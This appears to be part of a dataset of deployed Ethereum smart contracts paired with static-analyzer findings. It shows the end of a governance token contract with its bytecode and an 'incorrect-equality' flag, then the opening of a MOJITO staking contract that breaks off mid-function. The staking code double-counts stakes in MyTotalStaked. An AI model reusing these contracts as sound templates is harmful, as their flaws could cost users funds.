_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "ECR::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610638578063c3cda520146106ac578063dd62ed3e14610725578063e7a324dc1461079d578063f1127ed8146107bb57610121565b806370a0823114610421578063782d6fe1146104795780637ecebe00146104f757806395d89b411461054f578063a9059cbb146105d257610121565b806323b872dd116100f457806323b872dd1461024b578063313ce567146102d1578063587cde1e146102f55780635c19a95c146103795780636fcfff45146103bd57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020f57806320606b701461022d575b600080fd5b61012e610852565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088b565b604051808215151515815260200191505060405180910390f35b610217610a2b565b6040518082815260200191505060405180910390f35b610235610a3a565b6040518082815260200191505060405180910390f35b6102b76004803603606081101561026157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a56565b604051808215151515815260200191505060405180910390f35b6102d9610cf6565b604051808260ff1660ff16815260200191505060405180910390f35b6103376004803603602081101561030b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cfb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103bb6004803603602081101561038f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d2e565b005b6103ff600480360360208110156103d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d3b565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b6104636004803603602081101561043757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5e565b6040518082815260200191505060405180910390f35b6104c56004803603604081101561048f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dcd565b60405180826bffffffffffffffffffffffff166bffffffffffffffffffffffff16815260200191505060405180910390f35b6105396004803603602081101561050d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111f6565b6040518082815260200191505060405180910390f35b61055761120e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059757808201518184015260208101905061057c565b50505050905090810190601f1680156105c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61061e600480360360408110156105e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611247565b604051808215151515815260200191505060405180910390f35b61067a6004803603602081101561064e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611284565b60405180826bffffffffffffffffffffffff166bffffffffffffffffffffffff16815260200191505060405180910390f35b610723600480360360c08110156106c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050611372565b005b6107876004803603604081101561073b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611723565b6040518082815260200191505060405180910390f35b6107a56117cf565b6040518082815260200191505060405180910390f35b61080d600480360360408110156107d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff1690602001909291905050506117eb565b604051808363ffffffff1663ffffffff168152602001826bffffffffffffffffffffffff166bffffffffffffffffffffffff1681526020019250505060405180910390f35b6040518060400160405280600f81526020017f45706963656e74657220546f6b656e000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156108de577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050610903565b6109008360405180606001604052806024815260200161285460249139611844565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3600191505092915050565b6a14adf4b7320334b900000081565b6040518080612960604391396043019050604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1690506000610b188560405180606001604052806024815260200161285460249139611844565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b9257507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b15610cdd576000610bbc83836040518060600160405280603c8152602001612a16603c9139611907565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3505b610ce88787836119dd565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d383382611df8565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b6000438210610e27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806128786026913960400191505060405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610e945760009150506111f0565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610f9657600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff169150506111f0565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611156110175760009150506111f0565b600080905060006001830390505b8163ffffffff168163ffffffff161115611172576000600283830363ffffffff168161104d57fe5b048203905061105a61276b565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff16141561114a578060200151955050505050506111f0565b86816000015163ffffffff1610156111645781935061116b565b6001820392505b5050611025565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600381526020017f454352000000000000000000000000000000000000000000000000000000000081525081565b60008061126c8360405180606001604052806025815260200161282f60259139611844565b90506112793385836119dd565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116112ee57600061136a565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051808061296060439139604301905060405180910390206040518060400160405280600f81526020017f45706963656e74657220546f6b656e0000000000000000000000000000000000815250805190602001206113d2611fb8565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001945050505050604051602081830303815290604052805190602001209050600060405180806129dc603a9139603a0190506040518091039020888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561157d573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561160f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061279a6025913960400191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505589146116b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602181526020018061289e6021913960400191505060405180910390fd5b8742111561170d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806128e66025913960400191505060405180910390fd5b611717818b611df8565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405180806129dc603a9139603a019050604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c01000000000000000000000000831082906118fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118c25780820151818401526020810190506118a7565b50505050905090810190601f1680156118ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff16111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561199557808201518184015260208101905061197a565b50505050905090810190601f1680156119c25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a63576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b8152602001806127bf603b913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ae9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806129a36039913960400191505060405180910390fd5b611b63600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280603581526020016127fa60359139611907565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611c4a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280602f815260200161290b602f9139611fc5565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405180826bffffffffffffffffffffffff16815260200191505060405180910390a3611df3600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836120a0565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611fb28284836120a0565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390612094576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561205957808201518184015260208101905061203e565b50505050905090810190601f1680156120865780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120ea57506000816bffffffffffffffffffffffff16115b1561239657600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612242576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff161161218d576000612209565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061223082856040518060600160405280602781526020016128bf60279139611907565b905061223e8684848461239b565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612395576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116122e057600061235c565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000612383828560405180606001604052806026815260200161293a60269139611fc5565b90506123918584848461239b565b5050505b5b505050565b60006123bf43604051806060016040528060338152602001612a52603391396126b0565b905060008463ffffffff1611801561245457508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156124ef5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612637565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724848460405180836bffffffffffffffffffffffff168152602001826bffffffffffffffffffffffff1681526020019250505060405180910390a25050505050565b600064010000000083108290612761576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561272657808201518184015260208101905061270b565b50505050905090810190601f1680156127535780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff168152509056fe4543523a3a64656c656761746542795369673a20696e76616c6964207369676e61747572654543523a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f20616464726573734543523a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654543523a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734543523a3a617070726f76653a20616d6f756e74206578636565647320393620626974734543523a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e65644543523a3a64656c656761746542795369673a20696e76616c6964206e6f6e63654543523a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734543523a3a64656c656761746542795369673a207369676e617475726520657870697265644543523a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734543523a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773454950373132446f6d61696e28737472696e67206e616d652c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e7472616374294543523a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f206164647265737344656c65676174696f6e28616464726573732064656c6567617465652c75696e74323536206e6f6e63652c75696e7432353620657870697279294543523a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654543523a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473a265627a7a72315820dbcc6eba475f4b0577ebedbd959a9b3bf33f47362f75b5fba3b36d6942080ec964736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,057 |
0xebadff3ed1efd777d15f998d7f8732cc3ae36c2c
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
// ----------------------------------------------------------------------------
// CocktailBar Stake MOJITOETH to earn MOJITO
// Enter our universe : cocktailbar.finance
//
// Come join the disscussion: https://t.me/cocktailbar_discussion
//
// Sincerely, Mr. Martini
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// TRC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface COC {
function balanceOf(address _owner) view external returns (uint256 balance);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
}
interface MOJITO {
function balanceOf(address _owner) view external returns (uint256 balance);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _amount) external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success);
function approve(address _to, uint256 _amount) external returns (bool success);
}
contract ReentrancyGuard {
bool private _notEntered;
constructor () {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract StakeMojitoETH is Owned, ReentrancyGuard {
using SafeMath for uint256;
uint256 private TotalMRewards;
uint256 public WeekRewardPercent = 100;
uint256 public TotalStakedETH = 0;
uint256 StakingFee = 10; // 1.0%
uint256 UnstakingFee = 30; // 3.0%
uint256 private TeamFeesCollector = 0;
address public stakeTokenAdd = 0x412bC82A85B1348ad01aCB2b93eBa63395760e8C;
address constant public rewardToken = 0xda579367c6ca7854009133D1B3739020ba350C23;
uint256 public creationTimeContract;
struct USER{
uint256 stakedAmount;
uint256 creationTime;
uint256 TotalMRewarded;
uint256 lastClaim;
uint256 MyTotalStaked;
}
mapping(address => USER) public stakers;
mapping(address=>uint256) public amounts; // keeps record of each reward payout
uint256[] private rewardperday = [85106382980000000000,85106382980000000000,85106382980000000000,
85106382980000000000,85106382980000000000,74468085110000000000,74468085110000000000,74468085110000000000,
74468085110000000000,74468085110000000000,63829787230000000000,63829787230000000000,63829787230000000000,
63829787230000000000,63829787230000000000,53191489360000000000,53191489360000000000,53191489360000000000,
53191489360000000000,53191489360000000000,42553191490000000000,42553191490000000000,42553191490000000000,
42553191490000000000,42553191490000000000,42553191490000000000,42553191490000000000,42553191490000000000,
42553191490000000000,42553191490000000000,31914893620000000000,31914893620000000000,
31914893620000000000,31914893620000000000,31914893620000000000,31914893620000000000,31914893620000000000,
31914893620000000000,31914893620000000000,31914893620000000000,21276595740000000000,21276595740000000000,
21276595740000000000,21276595740000000000,21276595740000000000,21276595740000000000,21276595740000000000,
21276595740000000000,21276595740000000000,21276595740000000000,21276595740000000000,21276595740000000000,
21276595740000000000,21276595740000000000,21276595740000000000,10638297870000000000,10638297870000000000,
10638297870000000000,10638297870000000000,10638297870000000000];
event STAKED(address staker, uint256 tokens, uint256 StakingFee);
event UNSTAKED(address staker, uint256 tokens, uint256 UnstakingFee);
event CLAIMEDREWARD(address staker, uint256 reward);
event PERCENTCHANGED(address operator, uint256 percent);
event FkTake(uint256 amount);
event JkTake(uint256 amount);
constructor() {
creationTimeContract = block.timestamp;
}
// ------------------------------------------------------------------------
// Token holders can stake their tokens using this function
// @param tokens number of tokens to stake
// ------------------------------------------------------------------------
function STAKE(uint256 tokens) external nonReentrant returns(bool){
require(COC(stakeTokenAdd).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from user account");
uint256 _stakingFee = (onePercentofTokens(tokens).mul(StakingFee)).div(10);
stakers[msg.sender].stakedAmount = (tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount);
TeamFeesCollector = TeamFeesCollector.add(_stakingFee);
stakers[msg.sender].creationTime = block.timestamp;
stakers[msg.sender].lastClaim = stakers[msg.sender].creationTime;
stakers[msg.sender].MyTotalStaked = stakers[msg.sender].MyTotalStaked.add((tokens.sub(_stakingFee)).add(stakers[msg.sender].stakedAmount));
TotalStakedETH = TotalStakedETH.add((tokens).sub(_stakingFee));
emit STAKED(msg.sender, (tokens).sub(_stakingFee), _stakingFee);
return true;
}
// ------------------------------------------------------------------------
// Stakers can claim their pending rewards using this function
// ------------------------------------------------------------------------
function WITHDRAW(uint256 tokens) external nonReentrant {
require(stakers[msg.sender].stakedAmount >= tokens && tokens > 0, "Invalid token amount to withdraw");
uint256 _unstakingFee = (onePercentofTokens(tokens).mul(UnstakingFee)).div(10);
TeamFeesCollector= TeamFeesCollector.add(_unstakingFee);
uint256 owing = 0;
require(COC(stakeTokenAdd).transfer(msg.sender, tokens.sub(_unstakingFee)), "Error in un-staking tokens");
stakers[msg.sender].stakedAmount = (stakers[msg.sender].stakedAmount).sub(tokens);
owing = TotalStakedETH;
TotalStakedETH = owing.sub(tokens);
stakers[msg.sender].creationTime = block.timestamp;
stakers[msg.sender].lastClaim = stakers[msg.sender].creationTime;
emit UNSTAKED(msg.sender, tokens.sub(_unstakingFee), _unstakingFee);
}
// ------------------------------------------------------------------------
// Private function to calculate 1% percentage
// ------------------------------------------------------------------------
function onePercentofTokens(uint256 _tokens) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint onePerc = roundValue.mul(100).div(100 * 10**uint(2));
return onePerc;
}
function calPercentofTokens(uint256 _tokens, uint256 cust) private pure returns (uint256){
uint256 roundValue = _tokens.ceil(100);
uint256 custPercentofTokens = roundValue.mul(cust).div(100 * 10**uint(2));
return custPercentofTokens;
}
// ------------------------------------------------------------------------
// Get the number of tokens staked by a staker
// param _staker the address of the staker
// ------------------------------------------------------------------------
function yourStakedToken(address staker) external view returns(uint256 stakedT){
return stakers[staker].stakedAmount;
}
// ------------------------------------------------------------------------
// Get the TOKEN balance of the token holder
// @param user the address of the token holder
// ------------------------------------------------------------------------
function yourTokenBalance(address user) external view returns(uint256 TBalance){
return COC(stakeTokenAdd).balanceOf(user);
}
function setPercent(uint256 percent) external onlyOwner {
require(percent < 30);
if(percent >= 1)
{
WeekRewardPercent = percent;
emit PERCENTCHANGED(msg.sender, percent);
}
}
function OwnerTeamFeesCollectorRead() external view returns(uint256 jKeeper) {
return TeamFeesCollector;
}
function yourDailyReward(address user) external view returns(uint256 RewardBalance){
uint256 timeToday = block.timestamp - creationTimeContract; //what day it is
uint256 timeT = timeToday.div(86400);
if(stakers[user].stakedAmount > 0)
{
// if(timeT > 0)
{
uint256 rewardToGive = calculateReward(timeT,user);
return rewardToGive;
}//else
//{
// return 0;
//}
}
else
{
return 0;
}
}
function MyTotalRewards(address user) external view returns(uint256 poolreward)
{
if(stakers[user].stakedAmount > 0)
{
